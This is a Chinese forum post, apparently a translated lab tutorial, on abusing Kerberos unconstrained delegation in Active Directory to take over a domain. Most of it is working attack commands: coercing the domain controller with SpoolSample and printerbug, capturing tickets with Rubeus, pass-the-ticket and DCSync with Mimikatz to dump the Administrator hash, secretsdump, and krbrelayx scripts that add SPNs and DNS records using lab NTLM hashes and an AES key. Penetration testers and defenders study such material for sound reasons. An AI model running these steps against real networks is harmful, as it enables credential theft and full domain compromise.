Microsoft 支持用户通过 Kerberos 向一个系统进行身份验证并且需要在另一个系统上更新信息的场景,实施了无约束委派。这是自 Windows 2000 以来在 Windows 生态系统中实现的。配置为无约束委派的系统会将 TGT(票证授予票证)存储到 LSASS 内存中,以使用户能够访问最终资源。
更具体地说,域控制器将用户 TGT 的副本放入服务票证中。当用户的服务票证 (TGS) 被提供给服务器以进行服务访问时,服务器打开 TGS 并将用户的 TGT 放入 LSASS 以供以后使用,从而允许服务器模拟用户。获取票证可能会导致域升级,因为票证可能属于域控制器的机器帐户或域管理员等高权限帐户。对于代表其他服务(无约束委派)进行身份验证的计算机,需要两个条件:
帐户在用户帐户控制 (UAC) 标志中具有TRUSTED_FOR_DELEGATION标志。
用户帐户没有设置NOT_DELEGATED标志,默认情况下非域帐户具有此标志。
下图表示 Active Directory 中配置为无约束委派的主机:
从 PowerShell 控制台识别配置为无约束委派的系统是微不足道的。执行模块“ Get-ADComputer ”并过滤结果以显示属性“ trustedfordelegation ”的输出将确定执行操作的主机是否配置为无约束委派。
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description
可以列举的其他属性:
TrustedToAuthForDelegation
msDS-AllowedToDelegateTo
PrincipalsAllowedToDelegateToAccount
Get-ADComputer "Hive" -Properties TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount
使用相同的模块查询“ userAccountControl ”属性可以提供相同的结果。
Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
或者, PowerView的“ Get-NetComputer ”模块可用于发现配置为无约束委派的主机。Get-NetComputer -Unconstrained
有多种协议可以强制域控制器的机器帐户与系统上的其他主机进行身份验证,例如 spoolsample 和加密文件服务远程过程调用。但是,抓取机器账号的ticket需要Rubeus运行在monitor状态模式。
Rubeus.exe monitor /monitorinterval:10 /targetuser:DC$ /nowrap
打印机错误的执行将强制域控制器向配置为无约束委派的工作站进行身份验证。
SpoolSample.exe dc hive
Rubeus 将接收并捕获域控制器机器帐户的票证授予票证 (TGT)。
门票将是 base64 格式,因此不能直接使用。但是,从 PowerShell 控制台执行以下命令将转换票证并将内容写入扩展名为 .kirbi 的文件。
[IO.File]::WriteAllBytes("C:\Users\pentestlab.PURPLE\Desktop\DC.kirbi", [Convert]::FromBase64String("Base64"))
使用 Mimikatz 中的 Pass the Ticket 当前用户帐户将获得域控制器的高权限。这可以通过使用 DCSync 技术来验证,以便转储域管理员帐户的 NTLM 哈希并通过在域控制器上传递哈希来执行命令。
kerberos::ptt DC.kirbi
lsadump::dcsync /domain:purple.lab /user:Administrator
域管理员使用 PowerShell 脚本在主机上执行远程任务或构建 HTTP 请求(出于业务原因可在服务器中定期执行)的情况并不少见。如果这些脚本是在提升的凭据上下文中执行的,那么 Kerberos 票据也可以生成并从 LSASS 进程中提取以用于域升级。
Invoke-WebRequest http://ca.purple.lab -UseDefaultCredentials -UseBasicParsing
管理员帐户的票证将被缓存到 LSASS 进程的内存中。Mimikatz 可以与这个过程交互,并且有一个特定的模块会尝试检索缓存的票证。
privilege::debug
sekurlsa::tickets
通过直接从 Mimikatz 执行以下命令,可以在本地导出票证。
sekurlsa::tickets /export
Rubeus 的分类操作将在表格中显示存储在内存中的可用 Kerberos 票证及其相关服务。
Rubeus triage
由于缓存中存在属于域管理员的票证,因此执行以下命令将转储该用户的所有票证。
Rubeus.exe dump /user:Administrator
域管理员的票据可以在当前系统上使用,也可以转移到另一台主机上,以便与支持将 Kerberos 票据导入内存的 Mimikatz 或 Rubeus 一起使用。
kerberos::ptt C:\Users\pentestlab.PURPLE\Administrator@krbtgt-PURPLE.LAB.kirbi
执行“ klist ”将验证票证是否缓存在当前会话的内存中。
klist
使用票证访问域控制器已经实现,可以通过列出 C: 驱动器的内容来确认。
dir \\dc.purple.lab\C$
与包括 Kerberos 滥用的大多数技术一样,可以从未加入域的系统进行无约束委派,因为存在复制上述执行步骤的支持工具。Impacket 有一个 python 脚本,如果提供了有效的域凭据,该脚本可用于识别域上配置为委派的系统。
python3 findDelegation.py purple.lab/pentestlab:Password1234
一旦获得管理访问权限,Impacket 模块“ secretsdump ”可用于检索其主机配置为无约束委派的机器帐户的 NTLM 哈希。
secretsdump.py Administrator@hive.purple.lab
krbrelayx是一组 python 工具,由Dirk-Jan Mollema开发,可用于从基于 Linux 的系统中有效地滥用无约束委托。使用机器帐户 (HIVE$) 的 NTLM 哈希通过“ addspn ”python脚本对活动目录进行身份验证,以绑定到域控制器并检索有关修改目标的信息。
python3 addspn.py -u purple\\Hive\$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -s HOST/kali.purple.lab -q dc.purple.lab
使用带有“ -additional ”标志的相同命令,机器帐户的服务主体名称将通过“ msDS-AdditionalDnsHostName ”属性进行修改,以包含“HOST/kali.purple.lab”服务主体名称。
python3 addspn.py -u purple\\Hive\$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -s HOST/kali.purple.lab dc.purple.lab --additional
强制域控制器的机器帐户向主机进行身份验证需要 DNS 名称而不是 IP 地址。由于攻击将从未加入域的主机执行,因此 DNS 服务器将没有任何 DNS 记录。但是,使用“ dnstool ”将通过执行以下命令在主机的域控制器上添加 DNS 记录:
python3 dnstool.py -u purple\\Hive\$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -r kali.purple.lab -d 10.0.0.3 --action add dc.purple.lab
类似地,可以通过创建 A 记录将 10.0.0.3(Kali IP 地址)解析为“ kali2.purple.lab ”来在域控制器上添加 DNS 记录。
python3 dnstool.py -u purple\\Hive\$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -r kali2.purple.lab -a add -t A -d 10.0.0.3 10.0.0.1
执行“ nslookup ”将验证 DNS 条目,并且主机现在解析为“ kali1.purple.lab ”。
nslookup kali1.purple.lab 10.0.0.1
“ krbrelayx ”可以采用先前转储的机器帐户的 AES 密钥,以便用于 Kerberos 身份验证。默认情况下将创建两个侦听器 SMB 和 HTTP。
sudo python3 krbrelayx.py -aesKey b4dc28d2ec920d4f87bc1d610f2b6e8e1114aec5135797482020893b3aad03c6
下一步是强制域控制器的机器帐户向运行侦听器的主机进行身份验证。打印机错误 (SpoolSample) 或 PetitPotam 可以使用机器帐户的 NTLM 哈希来使用,该机器帐户被配置为不受约束的委派和侦听器正在运行的主机名。
python3 printerbug.py -hashes aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 purple.lab/Hive\$@dc.purple.lab kali.purple.lab
一旦触发身份验证,域控制器机器帐户的票证将被检索并保存在主机的缓存中。这是因为域控制器对任意主机的身份验证将使用 Kerberos 身份验证执行。由于票证属于域控制器的提升帐户,因此域升级已经实现,域哈希可以通过 DCSync 技术检索。
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 2000.00 | 0 | 2023-06-21 11:11:56 | 对社区建设提出了有效合理的建议 |
Track-魔方 | 300.00 | 0 | 2023-06-07 14:02:06 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
18073686423
发表于 2023-6-7
66666
评论列表
加载数据中...